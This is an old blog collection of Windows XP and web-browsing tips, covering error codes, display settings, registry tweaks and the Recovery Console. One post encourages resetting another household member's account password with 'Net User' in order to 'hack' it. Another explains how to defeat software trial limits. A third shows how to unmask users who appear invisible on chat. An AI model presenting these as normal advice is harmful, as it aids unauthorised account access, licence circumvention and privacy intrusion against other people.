PC TIPS AND TRICKS...!!!

Decoding Error Messages

2008-12-06T17:26:00.001-08:00

As you surf the Net, you will undoubtedly find that at times you can't access certain websites. Why, you make wonder? Error messages attempt to explain the reason for that and other problems. Unfortunately, these cryptic messages baffle most people. I've deciphered the most common ones:

400 - Bad Request

Problem: There's something wrong with the address you entered. You may not be authorized to access the web page, or maybe it no longer exists.

Solution: Check the address carefully, especially if the address is long. Make sure that the slashes are correct (they should be forward slashes) and that all the names are properly spelled. Web addresses are case sensitive, so check that the names are capitalized in your entry as they are in the original reference to the website.

401 - Unauthorized

Problem: You can't access a website because you're not on the guest list, your password is invalid or you have entered your password incorrectly.

Solution: If you think you have authorization, try typing your password again. Remember that passwords are case sensitive.

403 - Forbidden

Problem: Essentially the same as a 401.

Solution: Try entering your password again or move on to another site.

404 - Not Found

Problem: Either the web page no longer exists on the server or it is nowhere to be found.

Solution: Check the address carefully and try entering it again. You might also see if the site has a search engine. If so, use it to hunt for the document. (It's not uncommon for pages to change their addresses when a website is redesigned.) To get to the home page of the site, delete everything after the domain name and hit the Enter or Return key. For example, if the address is:
http://www.learnthenet.com/english/html/email.htm
remove English/html/email.htm.

503 - Service unavailable

Problem: Your Internet service provider (ISP) or your Internet connection may be down.

Solution: Take a stretch, wait a few minutes and try again. If you still have no luck, phone your ISP or system administrator.

Bad file request

Problem: Your web browser may not be able to decipher the online form you want to access. There may also be a technical error in the form.

Solution: Consider sending a message to the site's webmaster, providing any technical information you can, such as the browser and version you use.

Connection refused by host

Problem: You don't have permission to access the page or your password is incorrect.

Solution: Try retyping your password if you think you should have access.

Failed DNS lookup

Problem: DNS stands for the Domain Name System, which is the system that looks up the name of a website, finds a corresponding number (similar to a phone number), then directs your request to the appropriate web server on the Internet. When the lookup fails, the host server can't be located.

Solution: Try clicking on the Reload or Refresh button on your browser toolbar. If this doesn't work, check the address and enter it again. If all else fails, try again later.

File contains no data

Problem: The site has no web pages on it.

Solution: Check the address and enter it again. If you get the same error message, try again later.

Host unavailable

Problem: The web server is down.

Solution: Try clicking on the Reload or Refresh button. If this doesn't work, try again later.

Host unknown

Problem: The web server is down, the site may have moved, or you've been disconnected from the Net.

Solution: Try clicking on the Reload or Refresh button and check to see that you are still online. If this fails, try using a search engine to find the site. It may have a new address.

Network connection refused by the server

Problem: The web server is busy.

Solution: Try again in a while.

Unable to locate host

Problem: The web server is down or you've been disconnected from the Net.

Solution: Try clicking on the Reload or Refresh button and check to see that you are still online.

Unable to locate server

Problem: The web server is out-of-business or you may have entered the address incorrectly.

Solution: Check the address and try typing it again.

HOW TO improve PC graphics performance

2008-11-21T17:23:00.001-08:00

Adjust the settings for your graphics board and display to improve image quality.

When it comes to your PC, looks definitely matter. Tiny text, blurry images, and flickering screens aren’t just annoying, they can lead to eyestrain, lost productivity, and a bill from the glazier for replacing the window you toss your monitor through out of frustration. But you don’t have to give your display the heave-ho: A few simple adjustments to your graphics card and other Windows settings can ensure peak visual performance.

Your PC’s graphics card is controlled by its Windows driver, so get the latest driver release for your board. To see what version you have, right-click the desktop and choose Properties to open the Display Properties dialog box, then click Settings, Advanced, Adapter (in Windows XP, also select Properties, Driver).

Visit your graphics-card vendor’s Web site to download the most recent version of the driver, but don’t install beta drivers. These are works in progress that may cause more trouble than they’re worth.

Sight-Saving Settings

Here are a few settings that should be available for all graphics drivers.

Resolution: This is the number of dots–or pixels (short for “picture elements”)–displayed on your screen. The higher the resolution, the more dots per inch, and the sharper the displayed image (if your monitor supports the higher resolution). High resolutions increase the processing demands on your graphics board and PC.

The graphics cards in most computers made in the last three or four years support resolutions of at least 1024 by 768–meaning the screen image is composed of an orthogonal array 1024 pixels across and 768 pixels tall–and some support screen resolutions as high as 1600 by 1200. However, many older systems, as well as some newer budget systems, have a top resolution of only 800 by 600.

To adjust screen resolution, open Display Properties and click Settings. Slide the ‘Screen area’ or ‘Screen resolution’ bar to a higher (More) or lower (Less) resolution. Though higher resolutions improve image quality, they also shrink icons, text, and other on-screen objects. Experiment to find the setting that’s right for you. For most people, 1024 by 768 is the highest resolution they can read easily on a 17-inch CRT monitor.

Color depth: This setting is the number of colors that your graphics card supports. The more colors available for use, the more realistic the image, but again, the more colors on your screen, the greater the processing demands on your system.

Your graphics card’s color-depth settings are listed in Display Properties under the Settings tab on the Colors drop-down menu (’Color quality’ in Windows XP). Each is named for the number of bits it assigns to each pixel: True Color (also called 24-bit color) makes 16,777,216 colors available, while High Color (16 bits) supports 65,536 colors. At lower than 16-bit color, your images may suffer. Many drivers no longer offer 8-bit (256 colors) or 15-bit (32,536 colors) settings.

New PCs often support 32-bit color, which offers the same 16 million-plus colors as True Color. The extra 8 bits control image opacity. This is useful in fast-moving 3D games but of little help in most business apps.

Refresh rate: Expressed in hertz, or cycles per second, this tells how often the phosphors that glow to create an image on a CRT screen are reenergized–that is, the times per second that the screen’s image is redrawn. A refresh rate that’s too low can cause annoying screen flicker. Even if you don’t see the flicker, slow refreshes can cause eyestrain and headaches.

Conventional wisdom says your refresh rate should be no less than 72 Hz. Some experts say the minimum rate is 80 Hz. Try different refresh rates until you find the one that works for you. Note that if your refresh rate is too high, you could lose image opacity. Still, few of us can discern rates higher than 85 Hz.

To adjust your screen’s refresh rate in Windows XP, open Display Properties and click Settings, Advanced, Adapter, List All Modes. Pick a combination of refresh rate, screen resolution, and color depth from the list of supported values.

To change your refresh rate in other versions of Windows, open Display Properties and then click Settings, Advanced, Adapter. Select an option from the ‘Refresh rate’ drop-down menu. If you see no options there, however, your graphics board and monitor don’t support multiple refresh rates.

Even in that case, you might be able to increase your display’s refresh rate by decreasing your screen resolution or your color depth. All three specs compete for graphics-processing capacity, so if your graphics system is running at its maximum, try increasing one setting and lowering another. For example, reducing color depth from 32-bit to 16-bit–no big deal if you never look at photos–may free up enough processing power to let you bump your refresh rate from an annoying 60 Hz to an eye-pleasing 72 Hz. Or you may be able to increase resolution from 800 by 600 to 1024 by 768. There’s no guarantee, but these tricks might work.

Windows automatically sets your screen refresh rate to a safe but slow 60 Hz when it can’t detect your monitor. To confirm that Windows XP correctly recognizes your monitor, open Display Properties and click Settings, Advanced, Monitor. If your monitor isn’t listed under ‘Monitor type’, download and install the device’s driver from the manufacturer’s Web site.

In other versions of Windows, verify that Plug and Play is enabled. Make sure your monitor is listed under ‘Display’ on the Settings tab in Display Properties, and then click Advanced, Monitor. Verify that Automatically detect Plug & Play monitors is checked. If it isn’t, select it and then reset your refresh rate to a level that is higher than Windows’ default 60 Hz.

DirectX: This Windows component controls multimedia functions. To check your current DirectX version, click Start, Run, type dxdiag, and click OK. Choose the System tab and look under System Information on the lower part of the screen. DirectX 9 is the latest version; if you don’t have it, download it from Microsoft.
Touch Those Dials!

You can improve the image quality of your monitor via its built-in controls. The options vary by display manufacturer and model, but you should find brightness and other controls on most monitors.

Adjust brightness and contrast: Use this gray-scale image on your screen. Be sure you can see as many of the image’s 17 shades as possible; the two or three darkest may be tough to view in a bright room.

Center and align: Few monitors come straight from the factory with optimal screen geometry. Use your monitor’s screen-placement controls to center your displayed image, keep its edges straight, and minimize unfilled screen space.

To avoid eyestrain and other physical problems, put the top of the screen at eye level and at arm’s length from your head (your best position may vary). Orient your screen to avoid glare from lights and windows. If that’s not possible, get a glare filter such as Kensington’s $34 GlareMaster.

Clean it: Gently wipe your screen with a soft, lightly moistened cloth. Unless the monitor is really filthy, avoid cleaning solutions, which can damage delicate screen coatings. Clean the dust from the cooling vents in the monitor’s case; overheating is your display’s lethal enemy.

Graphics Triage

If your screen goes blank, the problem is likely due to a disconnected monitor cable, an unplugged power cord, or a too-low brightness setting. Monitors do die, however. If you smell something burning or hear popping sounds, your monitor could be failing–turn it off immediately. Monitors have been known to spontaneously combust.

Corrupted graphics drivers cause all kinds of PC problems. To check for a damaged graphics driver, install the plain-vanilla VGA driver that comes with Windows. If your troubles disappear, reinstall a clean copy of the monitor’s original driver, or an updated version.

Some graphics boards don’t work or play well with other hardware devices. Windows allows you to disable graphics-acceleration functions for the sake of compatibility. Open Display Properties and click Settings, Advanced, Troubleshooting in Windows XP and 2000, or Settings, Advanced, Performance in Windows 98 and Me. Move the slider under ‘Hardware acceleration’ to the left to disable your graphics acceleration.

A shaking or shimmering image on your screen may be due to nearby magnetic fields. Keep clocks and other appliances that use electric motors, and those that use a lot of electricity (such as microwave ovens), far from your monitor. Power lines behind walls can cause interference, so try moving the display away from nearby walls.

If your screen image is washed in blue, red, or green, check for a loose cable connecting your graphics board to your monitor. Look for bent pins inside the cable connector; you can often straighten them with needle-nose pliers. If on-screen objects have a rainbow cast, some monitors have convergence controls that you can use to tune the image.

Living in a Flat World

Notebook displays are fine-tuned in the factory to work with the system’s other hardware; your desktop’s flat panel likely isn’t. And tuning an LCD isn’t the same as tuning a CRT monitor. If both your LCD and graphics board support Digital Visual Interface connections, make sure they’re using them. Vendors don’t always ship a DVI cable with cards that produce both analog and digital signals, so you’ll have to replace the analog cable. If your display supports DVI but your graphics card doesn’t, upgrade your card.

Make sure your LCD is set to its native resolution. Many flat-panel displays don’t look good at other resolutions. Unfortunately, some 15-inch LCDs have a native resolution of 1024 by 768 dpi, which makes text minuscule. The solution is to open Display Properties, click Appearance, and change the setting on the ‘Font size’ drop-down menu to increase the size of your text. (Most browsers include their own font-size settings.)

In Windows XP, open Display Properties, click Appearance, Effects, and check Use the following method to smooth screen fonts. Select ClearType to see a big improvement in the appearance of many of your fonts.

How to see if someone's invisible in gmail's gtalk

2008-11-21T17:21:00.000-08:00

Follow these steps to unveil your buddy's presence...

1.When he/she's online click on their chat window, you'll see options there..click on options...then go off the record...

2.Then, when he/she's offline and u want to test whether they are invisible or not..just send an IM..anything, like hi,hello or whatever...

3.If he/she's online then they'll receive your message without any error..else..u'l get an error that the person was not able to receive your message..

4.That's all!!!

But this method has a dis-advantage that you have to ping them to know whether they are offline or invisible. one more dis-advantage is that they can easily turn the chat record on and which means they'll receive the messages even offline

Right Click Tweak

2008-10-24T18:59:00.000-07:00

Lets say you have a bout 4-5 very useful applications which you use always. By placing them all on the first level menu will eventually crowd your start menu. Now why not utilize the right-click option instead? The right-click option gives you the ability to Open, Explore and Find. If you can add a shortcut to your application to that menu, it would be great.

To do this, crank up your registry editor and go to HKEY_CLASSES_ROOT\Directory\Shell. Right-click on Shell and create a new key. Type in an appropriate name for the key. On the right pane, double-click on the Default value, and add a title with a & character in front of the letter as an accelerator key. Right-click on the key you just created and create another key under it called command . For the Default value of command, enter the full path and program you want to execute in the Value data box.

For example, if you wanted Notepad, you would add that as the first key, the default in the right panel would be &Notepad so when you right click on the Start Button, the N would be underlined and you could just press that key. The command would be something like C:\Windows\notepad.exe. Now when you right click on the Start Button, your new program will show up.

Remove Password From Returning From Hibernate / Suspend

2008-10-24T18:58:00.000-07:00

Removing password from returning from hibernate / suspend

Go to Control Panel and open the Power Options Properties dialog box. Open the Advanced tab and clear the "Prompt for password when computer resumes from standby" check box.

Now you don't have to worry about putting your password everytime you want to save
power and money :-) However, you will be less secure!

Stop Jerky Graphics

2008-10-24T18:57:00.000-07:00

I have for a long time had problems with "jerky" graphics in some 3d games and 3dmark, and have had relativly high cpu loads in idle condition.
The cpu load would pulse from 1-2% up to 10-12%-load with about three-five seconds intervals...(in idle)
The jerking has not been due to low perfomance hardware or old drivers and I have had the problems on two seperate systems.
If you are connected to a LAN and have similar problems, this might be the solution:

1.RightClick "MyComputer"
2.Select "Manage"
3.Click on "Device Manager"
4.DoubleClick on your NIC under "Network Adapters"
5.In the new window, select the "Advanced" tab
6.Select "Connection Type" and manuelly set the value of your NIC. (Not "Auto Sense" which is default.)
7.You should reboot...
On my systems the "jerking" in 3D games was completly gone, and so was the high idle cpu load.

This tip also applies to Win2K.

Watch Movies With "Above Normal" Priority

2008-10-24T18:55:00.000-07:00

This tweak will launch WindowsMediaPlayer with the 'AboveNormal' priority setting when opening a mediafile.

Having trouble watching a movie when you also have a lot of background processes going on?

Here's what to do:

1. Create a new textfile in the root of c:\, but instead of giving it the .txt extension you name it wmp_AboveNormal.bat

2. Right-click this file and choose 'Edit', you'll see it'll open notepad. Put this line in:
start /AboveNormal C:\"Program Files"\"Windows Media Player"\wmplayer.exe %1 %*

3. Save (make sure you save it as .bat, not as .txt) and close.

Now all you have to do is register your mediafiles to this batchfile. Here's how to do that:

4. In Windows Explorer choose Tools>Folder Options >File Types

5. Scroll down(press A) to the AVI filetype

6. Click 'Change' and point to c:\wmp_AboveNormal.bat . Click OK and Close.

Now everytime you dubbleclick an .avi WMP will open with the 'AboveNormal' -priority setting ! (Repeat steps 4-6 to register all mediatypes you want to be opened this way.)

These are all the settings: Realtime, High, AboveNormal, Normal, BelowNormal, Low.

*Realtime is not recommended unless you have a dual-CPU system!

Turn Off Indexing Service to Speed Up XP

2008-10-24T18:51:00.000-07:00

Windows XP keeps a record of all files on the hard disk so when you do a search on the hard drive it is faster. There is a downside to this and because the computer has to index all files, it will slow down normal file commands like open, close, etc. If you do not do a whole lot of searches on your hard drive then I suggest turnning this feature off:

1. Control Panel

2. Administrative Tools

3. Services

4. Disable Indexing Services

Faster Dual Boot Time Out

2008-10-24T18:47:00.000-07:00

If you dual boot your PC using Windows XP's dual boot process, you can reduce the timeout period your PC uses before booting to the default OS. This tweak is useful if you boot to the default OS most of the time and only boot to the other OS's on a limited basis.

1)Locate and Open the hidden file "boot.ini" in notepad or your favorite text editor. This file will likely be in the root directory on the boot partition of your "master" HD. For example, mine is located in "C:\boot.ini" even though I have Win98 loaded on this partition and the boot.ini file was generated when I loaded WinXP on "D:/"

2) Locate the line - timeout=30 (default is 30 seconds). Change this value to any time desired. I chose 10. Be careful not to choose too low of a setting or you may not have time to select your other OS's. Also, be careful not to change other lines as this may prevent your PC from booting at all.

3)Save the file. The next time you boot your PC, the changes will take effect.

Note: You can also adjust this in Control Panel > System > Advanced > Startup and Recovery > Settings > Time to display list of operating systems

Delete Prefetch Automatically

2008-10-24T18:44:00.000-07:00

Here's an easy way to delete your prefetch -- Automatically!!

1. Go into My Computer and go into your hard drive.

2. Right-click anywhere that a file is not and select the 'New' submenu and click 'Text Document'

3. Name it "deleteprefetch"

4. Double-click on the text file you just created.

5. Type "del C:\Windows\Prefetch\*.* /Q" (without the quotes).

6. Go to File > Save As... and choose "All Files" from the "Save as Type" box and save it as "deleteprefetch.bat"

7. You just created a batch file that will automatically delete all the files in your Prefetch folder. Congrats.

How to use Recovery Console To Repair XP

2008-10-24T18:34:00.000-07:00

The Windows Recovery console is designed to help you recover when your Windows-Based computer does not start properly or does not start at all. If Safe mode and other startup options do not work, you can consider using the Recovery Console. This method is recommended only if you are an advanced user who can use basic commands to identify and locate problem drivers and files. In addition, you must be an administrator to use the Recovery Console.

Installing the Recovery Console

You can install the Recovery Console on your computer to make it available in case you are unable to restart Windows. You can then select the Recovery Console option from the list of available operating systems on startup. It is wise to install the Recovery Console on important servers, and on the workstations of IT personnel. This article describes how you can install the Recovery Console to your Windows XP computer. To install the Recovery Console, you must have administrative rights on the computer.

Although you can run the Recovery console by booting directly from the Windows XP CD, it's much more convenient to set it up as a startup option on your boot menu. To run directly by booting from the CD see the "Using the Recovery Console" section later in this article.

To install the Recovery Console, perform the following steps:

Insert the Windows XP CD into the CD-ROM drive.
Click Start, and then click Run.
In the Open box, type d:\i386\winnt32.exe /cmdcons where d is the drive letter for the CD-ROM drive.
A Windows Setup Dialog Box appears, which describes the Recovery Console option. The system prompts you to confirm installation. Click Yes to start the installation procedure.
Restart the computer. The next time you start your computer, you will see a "Microsoft Windows Recovery Console" entry on the boot menu.

NOTE: Alternatively, you can use a UNC to install the Recovery Console from a network share point.

Using the Recovery Console

You can enable and disable services, format drives, read and write data on a local drive (including drives that are formatted to use the NT File System (NTFS), and perform many other administrative tasks. The Recovery Console is particularly useful if you need to repair your computer by copying a file from a disk or CD-ROM to your hard disk, or if you need to reconfigure a service that is preventing your computer from starting properly.

If you cannot start your computer, you can run the Recovery Console from the Microsoft Windows XP startup disks or the Windows XP CD-ROM. This article describes how to perform this task.

After Windows XP is installed on your computer, to start the computer and use the Recovery Console you need the Windows XP startup disks or the Windows XP CD-ROM.

For additional information about how to create Startup disks for Windows XP (they are not included with Windows XP), click the article number below to view the article in the Microsoft Knowledge Base:

310994 Obtaining Windows XP Setup Boot Disks

NOTE: To start the computer from the Windows XP CD-ROM, you need to configure the basic input/output system (BIOS) of the computer to boot from your CD-ROM drive.

To run the Recovery Console from the Windows XP startup disks or the Windows XP CD-ROM, use the following steps:

Insert the Windows XP startup disk into the floppy disk drive, or insert the Windows XP CD-ROM into the CD-ROM drive, and then restart the computer.

Click to select any options that are required to start the computer from the CD-ROM drive if you are prompted to do so.
When the "Welcome to Setup" screen appears, press R to start the Recovery Console.
If you have a dual-boot or multiple-boot computer, choose the installation that you need to access from the Recovery Console.
When you are prompted to do so, type the Administrator password. If the administrator password is blank, just press ENTER.
At the command prompt, type the appropriate commands to diagnose and repair your Windows XP installation.

For a list of commands that are available in Recovery Console, type recovery console commands or help at the command prompt, and then press ENTER.

For information about a specific command, type help commandname at the command prompt, and then press ENTER.
To exit the Recovery Console and restart the computer, type exit at the command prompt, and then press ENTER.

Using the Recovery Console Command Prompt

When you use the Recovery Console, you are working at a special command prompt rather than the usual Windows command prompt. The Recovery Console has its own command interpreter. To enter this command interpreter, you are prompted by Recovery Console to type the Administrator password (the local Administrator, not a domain Administrator).

When the Recovery Console starts, you have the opportunity to press F6 to install a third-party SCSI or RAID driver, in case you need such a driver to access the hard disk. This prompt works the same as it does during installation of the operating system.

The Recovery Console takes a few seconds to start. When the Recovery Console menu is displayed, a numbered list of the Windows installations on the computer is displayed (usually only one entry-c:\Windows-exists). Press a number before you press ENTER, even when only one entry appears. If you press ENTER without choosing a number, the computer restarts and begins the process again.

When you see the prompt for %SystemRoot% (usually C:\Windows), you can begin using the available commands for the Recovery Console.

Command Actions

The following list describes the available commands for the Recovery Console:

Attrib changes attributes on one file or subdirectory.
Batch executes commands that you specify in the text file, Inputfile; Outputfile holds the output of the commands. If you omit the Outputfile parameter, output is displayed on the screen.
Bootcfg is used to manipulate the Boot.ini for boot configuration and recovery.
CD (Chdir) operates only within the system directories of the current Windows installation, removable media, the root directory of any hard disk partition, or the local installation sources.
Chkdsk The /p switch runs Chkdsk even if the drive is not flagged as dirty. The /r switch locates bad sectors and recovers readable information; this switch implies /p. Chkdsk requires Autochk. Chkdsk automatically looks for Autochk.exe in the startup (or boot) folder. If Chkdsk cannot find the file in the startup folder, it looks for the Windows 2000 Setup CD-ROM. If Chkdsk cannot find the installation CD-ROM, it prompts the user for the location of Autochk.exe.
Cls clears the screen.
Copy copies one file to a target location. By default, the target cannot be removable media and you cannot use wildcards. Copying a compressed file from the Windows 2000 Setup CD-ROM automatically decompresses the file.
Del (Delete) deletes one file. Operates within the system directories of the current Windows installation, removable media, the root directory of any hard disk partition, or the local installation sources. You cannot use wildcards by default.
Dir displays a list of all files, including hidden and system files.
Disable disables a Windows system service or driver. The variable service_or_driver is the name of the service or driver that you want to disable. When you use this command to disable a service, it displays the service's original startup type before changing the type to SERVICE_DISABLED. You should note the original startup type so that you can use the enable command to restart the service.
Diskpart manages partitions on hard disk volumes. The /add option creates a new partition; the /delete option deletes an existing partition. The variable device is the device name for a new partition (such as \device\harddisk0). The variable drive is the drive letter for a partition that you are deleting (for example, D); partition is the partition-based name for a partition that you are deleting, (for example: \device\harddisk0\partition1) and can be used in place of the drive variable. The variable size is the size, in megabytes, of a new partition.
Enable enables a Windows system service or driver. The variable service_or_driver is the name of the service or driver that you want to enable, and start_type is the startup type for an enabled service. The startup type uses one of the following formats:
SERVICE_BOOT_START
SERVICE_SYSTEM_START
SERVICE_AUTO_START
SERVICE_DEMAND_START
Exit quits the Recovery Console, and then restarts the computer.
Expand expands a compressed file. The variable source is the file that you want to expand; you cannot use wildcard characters by default. The variable destination is the directory for the new file; by default, the destination cannot be removable media and cannot be read-only; you can use the attrib command to remove the read-only attribute from the destination directory. The option /f:filespec is required if the source contains more than one file; this option permits wildcards. The /y switch disables the overwrite confirmation prompt. The /d switch specifies that the files should not be expanded and displays a directory of the files in the source.
Fixboot writes a new boot sector on the system partition.
Fixmbr repairs the boot partition's master boot code. The variable device is an optional name that specifies the device that needs a new MBR; omit this variable when the target is the boot device.
Format formats a disk. The /q switch performs a quick format; the /fs switch specifies the file system.
Help If you do not use the command variable to specify a command, help lists all the commands that the Recovery Console supports.
Listsvc displays all available services and drivers on the computer.
Logon displays detected installations of Windows and requests the local Administrator password for those installations. Use this command to move to another installation or subdirectory.
Map displays currently active device mappings. Include the arc option to specify the use of Advanced RISC Computing (ARC) paths (the format for Boot.ini) instead of Windows device paths.
MD (Mkdir) operates only within the system directories of the current Windows installation, removable media, the root directory of any hard disk partition, or the local installation sources.
More/Type displays the specified text file (such as, filename) on screen.

Net Use connects to a remote share for the Windows XP Recovery Console. The following text describes the syntax for this command:

NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]]
       [/USER:[domainname\]username]
       [/USER:[dotted domain name\]username]
       [/USER:[username@dotted domain name]
       [/SMARTCARD]
       [/SAVECRED]
       [[/DELETE] | [/PERSISTENT:{YES | NO}]]

NET USE {devicename | *} [password | *] /HOME

NET USE [/PERSISTENT:{YES | NO}]

Rd (Rmdir) operates only within the system directories of the current Windows installation, removable media, the root directory of any hard disk partition, or the local installation sources.
Ren (Rename) operates only within the system directories of the current Windows installation, removable media, the root directory of any hard disk partition, or the local installation sources. You cannot specify a new drive or path as the target.
Set displays and sets the Recovery Console environment variables.
Systemroot sets the current directory to %SystemRoot%.

Recovery Console Rules

Several environment rules are in effect while you are working in the Recovery Console. Type set to see the current environment. By default, these are the rules:

AllowAllPaths = FALSE, which prevents access to directories and subdirectories outside the system installation that you selected when you entered the Recovery Console.
AllowRemovableMedia = FALSE, which prevents access to removable media as a target for copied files.
AllowWildCards = FALSE, which prevents wildcard support for commands such as copy and del.
NoCopyPrompt = FALSE, which means that you are prompted by the Recovery Console for confirmation when overwriting an existing file.

Deleting the Recovery Console

To delete the Recovery Console:

Restart your computer, click Start, click My Computer, and then double-click the hard disk on which you installed the Recovery Console.
On the Tools menu, click Folder Options, and then click the View tab.
Click Show hidden files and folders, click to clear the Hide protected operating system files check box, and then click OK.
At the root folder, delete the Cmdcons folder and the Cmldr file.
At the root folder, right-click the Boot.ini file, and then click Properties.
Click to clear the Read-only check box, and then click OK.
WARNING: Modifying the Boot.ini file incorrectly may prevent your computer from restarting. Be sure to delete only the entry for the Recovery Console. Also, it is recommended that you change the attribute for the Boot.ini file back to a read-only state after you complete this procedure. Open the Boot.ini file in Microsoft Windows Notepad, and remove the entry for the Recovery Console. It looks similar to this:
C:\cmdcons\bootsect.dat="Microsoft Windows Recovery Console" /cmdcons
Save the file and close it.

How To Change Password Using Command Prompt

2008-10-18T18:49:00.000-07:00

Ever thought of becoming an actual “hacker”? This article shows how to change a computer password and do other things using a command prompt. A command prompt is a command using the special built-in program that comes with every computer which allows you to do almost anything on a computer.

1. Open Command Prompt. If you don’t know how, open the Start menu, go to Programs (or on Windows 2000 and up, all programs), go to Accessories, then you’ll see Command Prompt, click it.

2. You’ll see a black screen pop up.

3. Type in: “Net User”

4. It will then show you a detailed little chart of all the User Accounts on the computer.

5. Choose which account you want to hack.

6. Say it says the user accounts are: Owner, Administrator, John, Alice, Christopher, and Guest.

7. You choose Alice (Say you wanted to annoy your wife or girlfriend, I told you this would be a useful guide ).

8. Now type: “Net User Alice”, it’ll give you A LOT of information about the account. This step isn’t necessary, but it gives you information on other things you can do to the account, such as set it as inactive and delete it.

9. Type in: “Net User Alice *” It’ll tell you to enter a password, then again to confirm it. This will both change the password or make a new one.

10. Good Job! You’ve actually hacked an account! Now if Alice says anything, good luck with that, that’s in the article “How to Ignore an Annoying Wife or Girlfriend”… if it exists.

How To Extend Time Limits on Trial Softwares

2008-10-18T18:38:00.000-07:00

All you have to do is set your clock to some date in the distant future using adjust/date/time in Windows, download your free trial software, run the program once and rollback your time setting to the current date. After you’ve run the program for the first time, the Windows registry will be loaded with a Free Trial Key reflecting an expiration date that you’ve predetermined, and your good to go.

Another roundabout way to do this after a trial has already expired would be to bring up the Registry Editor in Windows, find the trial key and delete it. Then download the program again and start the free trial period over. This is pretty easy to do, but if you’re using alot of free trials you may find it to be a hassle editing registers and downloading programs over again everytime one expires. Its much easier to simply adjust your date/time to 2009 or something, download your free trials, rollback to the current date and enjoy them for the next 3 years or so hassle free. By the way I’ve found that when doing this I’m still able to get the notifications when updated versions come along, and download them with no problem.

19 Things You don't Know about Windows Xp

2008-10-18T18:31:00.000-07:00

1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).

2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).

3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.

4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

5. For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.

6. XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.

7. You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.

8. XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by typing 'regsvr32 zipfldr.dll'.

9. XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.

10. You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your chum's real IP address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.

11. You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.

12. Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.

13. You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.

14. Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.

15. XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.

16. The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.

17. You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.

18. Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.

19. Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the taskbar buttons.

How To Shutdown a PC with TIMER!!!

2008-10-18T18:27:00.000-07:00

Here is a trick to shutdown at a specific time,

for example you wish to shutdown at 11:35am. Type this in

start=>Run

Type Code: "at 11:35 shutdown -s"

TO ABORT:

Code: "shutdown -a"

